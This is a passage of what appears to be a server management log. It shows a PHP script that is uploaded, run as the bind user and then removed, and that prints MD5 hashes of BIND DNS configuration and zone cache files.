MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-29 23:24:29: Establishing a connection
2025-08-29 23:24:29:
PUT: /tmp/pkp312127
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 23:24:30:
runuser -l bind -s /bin/bash -c '/tmp/pkp312127; rm /tmp/pkp312127'
2025-08-29 23:24:30:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-29 23:24:30: Establishing a connection
2025-08-29 23:24:30:
PUT: /tmp/pkp314992
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 23:24:30:
runuser -l bind -s /bin/bash -c '/tmp/pkp314992; rm /tmp/pkp314992'
2025-08-29 23:24:30:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
